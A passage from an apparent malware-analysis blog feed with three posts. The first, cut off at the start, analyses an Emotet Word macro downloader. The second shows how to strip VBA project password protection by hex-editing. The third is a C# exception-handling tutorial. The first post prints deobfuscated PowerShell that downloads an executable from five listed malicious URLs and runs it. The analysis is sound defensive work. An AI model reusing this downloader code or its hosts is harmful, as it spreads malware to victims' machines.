&#39;g36&#39;,[chaR]39  -cREPLACE  ([chaR]90+[chaR]109+[chaR]73),[chaR]36 -cREPLACE  ([chaR]115+[chaR]72+[chaR]54),[chaR]34) )&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
This script code has two parts. First part is DOS code which creates a folder and sets environment variables that evaluate to string &#39;powershell&#39;. Second part is obfuscated powershell code.
&lt;br /&gt;
&lt;br /&gt;
To analyse powershell code, I first made a replace table:
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;b&gt;Replace Table&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;span style=&quot;color: cyan;&quot;&gt;0mI&amp;nbsp; &#39;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: cyan;&quot;&gt;ZmI $&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: cyan;&quot;&gt;g36&amp;nbsp; &#39;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: cyan;&quot;&gt;Dcf&amp;nbsp; \&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: cyan;&quot;&gt;sH6 *&lt;/span&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;br /&gt;
Finally I deobfuscated powershell code as (excluding Replace functions):
&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;( $env:comSpeC[4,26,25]-JoIn)( ((&#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;$nsadasd = &amp;amp;(&#39;new-object) random;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;$YYU = .(&#39;new-object&#39;)System.Net.WebClient;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;$NSB =$nsadasd.next(10000, 282133);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;$ADCX = &#39;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;http://alian.de/4wBYki/@&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;http://againstperfection.net/6kWq0/@&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;http://globalreachadvertising.com/zfFgSQ/@&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;http://www.fanoff.com/ZVljVr/@&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;http://thurtell.com/TCyk/&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&#39;.Split(&#39;@&#39;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;$SDC = $env:public + &#39;\&#39; + $NSB + (&#39;.exe&#39;);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;foreach($asfc in $ADCX)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;{try{$YYU.*DoWnlOadFIle*($asfc.*ToStriNg*(), $SDC);&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;&amp;amp;(&#39;Invoke-Item&#39;)($SDC);&amp;nbsp;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&amp;nbsp;break;}&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;catch{}})&lt;/span&gt;
&lt;br /&gt;
&lt;br /&gt;
Obfuscation method in VBA code resembles very much the code in: &lt;a href=&quot;http://windevblog.blogspot.fi/2018/04/a-sample-analysis-walkthrough-with_9.html&quot;&gt;A sample analysis walkthrough with RETouch: Testing a new feature&lt;/a&gt;.  I guess they are both made with the same malware or obfuscation kit.


</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/8417942107833100982/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/8417942107833100982' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/8417942107833100982'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/8417942107833100982'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/05/analysing-word-vba-downloader-for.html' title='Analysing Word VBA Downloader for Emotet Malware'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjWjuXaYlhttRXbfNPzp4uQJgj56wODJwkmB1yTIWoHieWkDMH2jmNwyuHoOEvo_afl49ocGW_OeqQRM-taz9c90YxlsW4kCcPx_4GPjI2_rn_RSgrh1fzAis22i2tikvcMPsvI2PVyvJo/s72-c/emotet-01.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-2326288593074877525</id><published>2018-04-29T06:26:00.000-07:00</published><updated>2018-04-29T06:27:30.846-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="macro"/><category scheme="http://www.blogger.com/atom/ns#" term="malware"/><category scheme="http://www.blogger.com/atom/ns#" term="Office"/><category scheme="http://www.blogger.com/atom/ns#" term="password"/><category scheme="http://www.blogger.com/atom/ns#" term="project"/><category scheme="http://www.blogger.com/atom/ns#" term="protected"/><category scheme="http://www.blogger.com/atom/ns#" term="VBA"/><category scheme="http://www.blogger.com/atom/ns#" term="Word"/><title type='text'>Revealing Password Protected VBA Macro Code</title><content type='html'>Last night I downloaded a malicious Word document from &lt;a href=&quot;https://app.any.run/tasks/b3393bd0-0551-427d-b756-5e5415256c19&quot; target=_blank&gt;Any.Run&lt;/a&gt; website. Malware is recognized according &lt;a href=&quot;https://www.virustotal.com/#/file/0e0a2a35bf8e48477e9aaa7a36ded9740f7e69b844f9abf9128a2079e98a0f30/detection&quot; target=_blank&gt;VirusTotal&lt;/a&gt; as Trojan-Downloader.MSWord.Agent.byj (Kaspersky).
&lt;br&gt;&lt;br&gt;

&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVIO0QUOzzNIx8AN4vHyg5TXkDwaXnXs0qpcMwa1F5m7mB_LDStx9u24SdG238DJ0ITopTrnIASe-LON0CLKDBrxxKIilXjbpiVY-xBR5iIBFn_NKATbbXvGc5hjUQBoqyYROKk0H7O9Y/s1600/00+MalDocument+Identification.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVIO0QUOzzNIx8AN4vHyg5TXkDwaXnXs0qpcMwa1F5m7mB_LDStx9u24SdG238DJ0ITopTrnIASe-LON0CLKDBrxxKIilXjbpiVY-xBR5iIBFn_NKATbbXvGc5hjUQBoqyYROKk0H7O9Y/s640/00+MalDocument+Identification.jpg&quot; width=&quot;600&quot; height=&quot;473&quot; data-original-width=&quot;751&quot; data-original-height=&quot;555&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Once opened the document suggests macro and content enabling. Notice the funny typo: &quot;Can&#39;t Veiw?&quot;.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYJQ0ErFu86E8lEjTWAEXVTz63yQLmpfzn3XVaBsmOtm4dmFdEjtOFapWJA8oaQMVoxaYGSxYNG9hyvC5EQTpvrJQoNwMz2rwEEv6xxfSvceT8Zplhhc8WAp1ZXraSpRjbjNqQcOHbmPY/s1600/01+Microsoft+Fake+Image+with+Spelling+Error.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiYJQ0ErFu86E8lEjTWAEXVTz63yQLmpfzn3XVaBsmOtm4dmFdEjtOFapWJA8oaQMVoxaYGSxYNG9hyvC5EQTpvrJQoNwMz2rwEEv6xxfSvceT8Zplhhc8WAp1ZXraSpRjbjNqQcOHbmPY/s640/01+Microsoft+Fake+Image+with+Spelling+Error.jpg&quot; width=&quot;600&quot; height=&quot;371&quot; data-original-width=&quot;746&quot; data-original-height=&quot;433&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Viewing the VBA code is made difficult with MS Office&#39;s built-in VBA project password protection. So the password protection has to be removed or cracked. I decided to remove password protection.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-whrm4z3KOgI-whoVu3xUI7vXDAvVmPDlOdn-6sPERwI0PNg-ia0TdilsXdpQYO1mFTckRLObqZ5hvvRKOLjWE5rq-HalJ6rhZx7GLt3RdW3jHK0zBceg2dgRDcyfncM19rnKN8aybJ0/s1600/02+Project+Password.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-whrm4z3KOgI-whoVu3xUI7vXDAvVmPDlOdn-6sPERwI0PNg-ia0TdilsXdpQYO1mFTckRLObqZ5hvvRKOLjWE5rq-HalJ6rhZx7GLt3RdW3jHK0zBceg2dgRDcyfncM19rnKN8aybJ0/s640/02+Project+Password.jpg&quot; width=&quot;600&quot; height=&quot;371&quot; data-original-width=&quot;746&quot; data-original-height=&quot;433&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
The document itself was also password protected so this protection has to be removed first. Since I did not know the password I just guessed the password: &quot;1234&quot;.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizRR7_AWhkEbRTXsQu7E26kcGMFlEoTopIhr8ijkpNQGw5qk3JUAkJdQUMEnT1s0FI7pZXtbesrnhF7Uv1xuAKwqhJ0KDN99LpawVx71oqAJSEEtkxH-NVrpNi2KNe411zUUhRyS6lzxc/s1600/03+Document+Password.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizRR7_AWhkEbRTXsQu7E26kcGMFlEoTopIhr8ijkpNQGw5qk3JUAkJdQUMEnT1s0FI7pZXtbesrnhF7Uv1xuAKwqhJ0KDN99LpawVx71oqAJSEEtkxH-NVrpNi2KNe411zUUhRyS6lzxc/s640/03+Document+Password.jpg&quot; width=&quot;600&quot; height=&quot;371&quot; data-original-width=&quot;740&quot; data-original-height=&quot;429&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Document password can be removed from File/Properties. I was using Finnish Word so try to follow screenshots anyway.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHOkPcvjt6c4J5Xl24rEytIeWW8U96RzIDS-h2mHTAQeZbraes_rdSWhTCYDg8CEwwXAP8-M_FA8ijRlVxHh8Gtc-VC1IWU_y9UbNTRpT657dqLQCKcAn_0hD7YUappYzsBIAkDu2C7s8/s1600/04+Remove+Document+Password.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHOkPcvjt6c4J5Xl24rEytIeWW8U96RzIDS-h2mHTAQeZbraes_rdSWhTCYDg8CEwwXAP8-M_FA8ijRlVxHh8Gtc-VC1IWU_y9UbNTRpT657dqLQCKcAn_0hD7YUappYzsBIAkDu2C7s8/s640/04+Remove+Document+Password.jpg&quot; width=&quot;600&quot; height=&quot;370&quot; data-original-width=&quot;740&quot; data-original-height=&quot;428&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
When the Document password is removed, save the document in docm format.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXXARDKBXEIw1e6HgNb1wp5QAeme_uT8X0fCoul6ehePr2hnQhZ4FQVPgfNRwne5-nQA9sBy5nz4cbYoOusz0CQww-CA484ckUlMrplJ4t2KSqxy7onGuILHQeuVMeIn1dzpAA8lKWH_4/s1600/05+Save+Document.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXXARDKBXEIw1e6HgNb1wp5QAeme_uT8X0fCoul6ehePr2hnQhZ4FQVPgfNRwne5-nQA9sBy5nz4cbYoOusz0CQww-CA484ckUlMrplJ4t2KSqxy7onGuILHQeuVMeIn1dzpAA8lKWH_4/s640/05+Save+Document.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Now, open the Explorer, locate the previously saved docm format file and open it with 7-Zip as an archive file. I used 7-Zip but this could be done with any Archiver application.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaG84du_WkdFJKAm97Ie0RiHLjw1fo_qHW89T_X6jlEZd_L7LkcFNobg87q9XpMpymXrqv2NXaaFUWQuGfrNJhFsd927NyqSZMTN_NSj9sY56Bz7jI7dmZ_hIKVRjzXvwdtBdavHMfokg/s1600/06+Open+Archive.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaG84du_WkdFJKAm97Ie0RiHLjw1fo_qHW89T_X6jlEZd_L7LkcFNobg87q9XpMpymXrqv2NXaaFUWQuGfrNJhFsd927NyqSZMTN_NSj9sY56Bz7jI7dmZ_hIKVRjzXvwdtBdavHMfokg/s640/06+Open+Archive.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Locate vbaProject.bin from inside the archive (Word document). Then extract vbaProject.bin out of the file.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinpUNSsZrhUbmkcC5zPRyGL8pmr5F5hyQfyyMguuxXHexEDKHd5CkYK-V3RhnA78COt8boeAqCmoXX6ql2_0vhvJwbRSnnhFAx4Vogo9m7PJuW9R7NaR-HuZi0A0QbZ2OQwqKObSNhodU/s1600/07+Extract+vbaProjectBin.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinpUNSsZrhUbmkcC5zPRyGL8pmr5F5hyQfyyMguuxXHexEDKHd5CkYK-V3RhnA78COt8boeAqCmoXX6ql2_0vhvJwbRSnnhFAx4Vogo9m7PJuW9R7NaR-HuZi0A0QbZ2OQwqKObSNhodU/s640/07+Extract+vbaProjectBin.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Open the extracted vbaProject.bin file with your hex editor. Search &quot;DPB&quot; as ASCII text. There should be only one occurrence of that string. After you have found it, replace it from &quot;DPB&quot; to &quot;DPx&quot;. Save this modified file and close the hex editor.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIADCqEsqmwksHbA-35FFmyF5lJjXsyw5v_beLWtrw2zx6_MxRK5G-rvdf0jd-kQGSiApb1IoYUg4ZUUx_6ZU9zhOsWZTvWKgmOqeD6Rbx1X917kCX0A4GX3uZgPkeirrA_jnHnI7uh4g/s1600/08+Locate+DBP+Tag.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhIADCqEsqmwksHbA-35FFmyF5lJjXsyw5v_beLWtrw2zx6_MxRK5G-rvdf0jd-kQGSiApb1IoYUg4ZUUx_6ZU9zhOsWZTvWKgmOqeD6Rbx1X917kCX0A4GX3uZgPkeirrA_jnHnI7uh4g/s640/08+Locate+DBP+Tag.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Drag the modified vbaProject.bin file back to 7-Zip and replace the original vbaProject.bin file. If you use some other archiver you may need to do this in some other way.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-sCHOlwOBr0d3V7C17Terxqvsto21qb1_JKnPPACL_KaqjynISc4yVbv5UzBdXhHj4lhiZYPtW9cPOX2tsWXNNTLMnyB4cjrkuz5K2TPhIrMQsNwpr3OS5WxCtFI3nLjEblh8PmsWbNk/s1600/09+Replace+vbaProjectBin.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-sCHOlwOBr0d3V7C17Terxqvsto21qb1_JKnPPACL_KaqjynISc4yVbv5UzBdXhHj4lhiZYPtW9cPOX2tsWXNNTLMnyB4cjrkuz5K2TPhIrMQsNwpr3OS5WxCtFI3nLjEblh8PmsWbNk/s640/09+Replace+vbaProjectBin.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Save the archive file and now you can re-open docm file with Word. You should get an error message, see below image. Answer &quot;Yes&quot; and the document loads.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjic9but05mOwjq58MufTWynUpT3Hi6OYvny8E9df37_G6WFrO8KoGINUflWYDb0qa8WBlYqivv3quKEj5nO-_HPpXZBpui8EVr-4K4yreE2pM7GQlyUiYfYZUPzSj3CnyjE-VR3-VZbjM/s1600/11+Open+Modified+Document.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjic9but05mOwjq58MufTWynUpT3Hi6OYvny8E9df37_G6WFrO8KoGINUflWYDb0qa8WBlYqivv3quKEj5nO-_HPpXZBpui8EVr-4K4yreE2pM7GQlyUiYfYZUPzSj3CnyjE-VR3-VZbjM/s640/11+Open+Modified+Document.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Open VBA editor and select VBA project&#39;s properties. You should be able to remove project locking and any passwords. You may need to save and reload the document to changes to take effect.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8BfQ3foGStcXQtuuUCIuAx7Lw9O3RnH2Z2dZSYXWHYLUjJNpvH-scpuPrC7IJGNWKb1x2Kp6bpbsOKvSQFM32Uz9vTMON5JYR_X_71IkpwJhWpOcQbkjoOneuNxS6O8Awe55Q-FalVtY/s1600/12+vbaProject+Remove+Protection.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8BfQ3foGStcXQtuuUCIuAx7Lw9O3RnH2Z2dZSYXWHYLUjJNpvH-scpuPrC7IJGNWKb1x2Kp6bpbsOKvSQFM32Uz9vTMON5JYR_X_71IkpwJhWpOcQbkjoOneuNxS6O8Awe55Q-FalVtY/s640/12+vbaProject+Remove+Protection.jpg&quot; width=&quot;640&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;
&lt;br&gt;&lt;br&gt;
Finally you should see the hidden VBA code.
&lt;br&gt;&lt;br&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-IhByr14B3YMi9A9yYKHpcnrC4RDQWfC4JaZc1O7oymvIfX42-g9Zl1nupM6s6I52eaIYC6n4R_quNGgtdakfxUMngHc94UKAwLudpo-rPEh_TbXKAa-mzltiDub3PyilgaeLZPAfgCs/s1600/13+vbaProject+Code+Revealed.jpg&quot; imageanchor=&quot;1&quot; &gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-IhByr14B3YMi9A9yYKHpcnrC4RDQWfC4JaZc1O7oymvIfX42-g9Zl1nupM6s6I52eaIYC6n4R_quNGgtdakfxUMngHc94UKAwLudpo-rPEh_TbXKAa-mzltiDub3PyilgaeLZPAfgCs/s640/13+vbaProject+Code+Revealed.jpg&quot; width=&quot;600&quot; height=&quot;451&quot; data-original-width=&quot;740&quot; data-original-height=&quot;521&quot; /&gt;&lt;/a&gt;

</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/2326288593074877525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/2326288593074877525' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2326288593074877525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/2326288593074877525'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/revealing-password-protected-vba-macro.html' title='Revealing Password Protected VBA Macro Code'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVIO0QUOzzNIx8AN4vHyg5TXkDwaXnXs0qpcMwa1F5m7mB_LDStx9u24SdG238DJ0ITopTrnIASe-LON0CLKDBrxxKIilXjbpiVY-xBR5iIBFn_NKATbbXvGc5hjUQBoqyYROKk0H7O9Y/s72-c/00+MalDocument+Identification.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-7674072858388499800</id><published>2018-04-22T05:32:00.001-07:00</published><updated>2018-04-22T05:39:19.494-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="catch"/><category scheme="http://www.blogger.com/atom/ns#" term="condition"/><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="exception"/><title type='text'>Catching .NET exceptions with a condition</title><content type='html'>CSharp provides methods to catch exceptions only when a condition is met. This can be used for example to display a messagebox when the application is in development and when the application is in the production mode just write to log the exception.&lt;br /&gt;
&lt;br /&gt;
Here is a very simple piece of code. The point in here is to catch the division by zero exception.&lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;br /&gt;bool IsDevelopmentmode = true;&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(int i = -2; i &amp;lt;= 2; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int x = 4 / i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;catch (DivideByZeroException ex) when (IsDevelopmentmode)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MessageBox.Show(&quot;Error &quot; + ex.Message, &quot;Error&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MessageBoxButtons.OK, MessageBoxIcon.Warning);&lt;br /&gt;}&lt;br /&gt;catch (DivideByZeroException)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; // Log error&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
The code has two catch (DivideByZeroException) statements. The first one has a condition when (IsDevelopmentmode). As long as the condition is true the first catch statement is used. If the condition is false the latter catch statement is executed. As you can see it&#39;s possible to mix both conditional and unconditional catch statements. The condition can be any expression that evaluates to boolean value.&lt;br /&gt;
&lt;br /&gt;
There must be at least one catch statement to capture exception. Otherwise the exception is thrown up in the call stack and in the worst case application&#39;s user gets the error message. Here is the same example without latter catch statement and the condition is set to false. &lt;br /&gt;
&lt;span style=&quot;color: cyan;&quot;&gt;&lt;br /&gt;bool IsDevelopmentmode = false;&lt;br /&gt;&lt;br /&gt;try&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(int i = -2; i &amp;lt;= 2; i++)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; {&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int x = 4 / i;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;catch (DivideByZeroException ex) when (IsDevelopmentmode)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; MessageBox.Show(&quot;Error &quot; + ex.Message, &quot;Error&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MessageBoxButtons.OK, MessageBoxIcon.Warning);&lt;br /&gt;}&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now the exception is not catched and you get following error:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOV7aSHTh2nDOdQXV_8ayqYdoarbvO9UXfCvk78ALeoBYlcsFKCoQg9wUQ5Olr_qrMi6ATKJZKZaoCGamVnKvlCJg22hnUdc4sT1hKbTD_AvLg4yi-zmO8QXjc3HBe_YmEGhHHgkWEm8/s1600/DivideByZeroException.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;375&quot; data-original-width=&quot;746&quot; height=&quot;321&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOV7aSHTh2nDOdQXV_8ayqYdoarbvO9UXfCvk78ALeoBYlcsFKCoQg9wUQ5Olr_qrMi6ATKJZKZaoCGamVnKvlCJg22hnUdc4sT1hKbTD_AvLg4yi-zmO8QXjc3HBe_YmEGhHHgkWEm8/s640/DivideByZeroException.jpg&quot; width=&quot;600&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/7674072858388499800/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/7674072858388499800' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7674072858388499800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/7674072858388499800'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2018/04/catching-net-exceptions-with-condition.html' title='Catching .NET exceptions with a condition'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCOV7aSHTh2nDOdQXV_8ayqYdoarbvO9UXfCvk78ALeoBYlcsFKCoQg9wUQ5Olr_qrMi6ATKJZKZaoCGamVnKvlCJg22hnUdc4sT1hKbTD_AvLg4yi-zmO8QXjc3HBe_YmEGhHHgkWEm8/s72-c/DivideByZeroException.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-519693994778826358</id><published>2018-04-15T09:36:00.000-07:00</published><updated>2018-04-15T09:37:12.298-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="link"/><category 